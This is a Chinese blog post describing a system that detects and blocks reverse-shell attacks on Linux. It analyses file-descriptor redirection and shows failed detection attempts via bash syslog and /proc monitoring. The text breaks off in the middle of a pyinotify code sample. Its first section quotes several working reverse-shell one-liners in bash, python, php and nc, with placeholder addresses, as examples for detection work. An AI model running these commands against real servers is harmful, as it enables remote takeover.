当命令注入点已经到手,Webshell已经就绪,nc已经监听起来了,冒新鲜热气儿的Shell唾手可得的那种狂喜,大家还记得吗?反弹Shell一般是外网渗透的最后一步,也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。
虽然本diao主要是玩Web安全的,可主机安全监控也是要做起来的,谁让咱是一个人的安全部呢?最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统,本着技术共享的理念,当然也是为了让各位大神看看有没有绕过的可能,把这个技术分享出来,大家共勉。
项目GitHub: Seesaw
0×1 反弹Shell解析
未知攻,焉知防?我们先来分析一下反弹Shell这个不新的渗透技术,看看有什么入手点。反弹Shell顾名思义,有两个关键词——反弹和Shell。
反弹:利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞,使目标服务器发出主动连接请求,从而绕过防火墙的入站访问控制规则。
Shell:使服务器Shell进程stdin/stdout/stderr重定向到攻击端。
常见的反弹Shell姿势有(详见文章):
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
nc -e /bin/bash ip port
通过仔细观察,我们可以发现这些姿势无一例外使用了重定向,这也是识别反弹Shell的突破口,且听笔者细细道来。
我们知道Linux中一切皆文件,正常情况下打开Bash进程时,Bash进程的stdin、stdout、stderr会定向到终端设备文件(例如/dev/pts/0),如下示意图:
定向到终端设备文件
此时Bash打开的文件描述符为:
Bash打开的文件描述符
可以看到bash进程已经打开了对应的字符设备文件描述符,用于将stdin(0u)/stdout(1u)/stderr(2u)等定向到字符设备。
当出现反弹Shell时,例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1,我们来解析一下这条命令的意思。
bash -i:启动交互式bash进程
& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中
0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)
综上,这条命令是为了控制Bash进程,并获得进程的标准输出和错误输出,采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中,此时输入输出的结构发生了变化,如下示意图:
输入输出的结构发生了变化
通过lsof命令可以看到此时的文件描述符打开情况:
文件描述符打开情况
可以发现stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此时进程所属的用户也变成了apache(运行Web服务的用户),当前路径就是Webshell所在的目录。
先知社区有不错的反弹Shell重定向分析:Linux反弹shell(一)文件描述符与重定向、Linux 反弹shell(二)反弹shell的本质。本文借鉴学习了这些文章内容,也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路,比心。
0×2 总体思路
综合上述分析,反弹Shell的识别思路便浮出水面:
及时发现Bash进程启动事件。
检查Bash进程是否打开了终端设备,是否有主动对外连接。
0×3 失败尝试
思路是有了,实现时却发现困难重重,第一个深坑,就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢?如果给了黑客短暂的操作窗口,就可能被植入更深层的木马/rootkit,甚至提权后直接把咱的监控程序干掉,这是绝对不能容忍的。
在这个深坑里,笔者扑腾了好几回,下面介绍在坑中的各种尝试,以及最终的成功方法。为啥失败的经验还要说呢?其实这些思路本身不坏,只是不太适合我们的项目目标,顺便介绍给大家共勉。
Round 1 Sysloghistory of BASH
既然要发现Shell进程,第一个思路是从Bash本身入手,如果Bash执行命令,让Bash进程自己告诉我。编译Bash开启命令history syslog功能,从而获取bash命令、bash进程pid、uid、pwd之类有用的信息,正好之前做异常命令识别时有过这个经验,当时也借鉴了一些文章:安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器。
说干就干,下载bash源码:https://ftp.gnu.org/gnu/bash/。
a. 打开config-top.h 116行注释,开启bash syslog history功能:
开启bash syslog history功能
b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式,比如我最爱的JSON,但由于命令内容容易出现引号、转义符等导致JSON解析不成功,单独放在一列:
JSON
c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者发送至远程日志服务器做分析,并重启rsyslog服务(service rsyslog restart):
修改rsyslog配置
至此,所有调用Bash执行的命令都被我们记录下来了:
调用Bash执行的命令
是不是感觉胜利在望了?笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”,就不会被记录。这是不能容忍的缺陷,可是为啥记录不到,找不到任何头绪。沮丧的同时笔者深入思考,这个方法是不适合用于监控Shell进程启动的,实际执行命令时再检查就太晚了。
Round 2 proc文件系统
此路不通不要气馁,再接再厉。我们知道Linux系统有一个proc伪文件系统,记录着当前内核运行状态等信息,还有以进程id为名的一堆目录,里面是与该进程相关的运行信息。能不能从proc文件系统下手,实时监控Shel进程呢?
第一反应是用inotify监控/proc目录创建目录的事件,一旦创建新目录就说明启动了新进程,再进行相应的检查。用pyinotify库写了一个监控程序:
class BashHandler(pyinotify.ProcessEvent):
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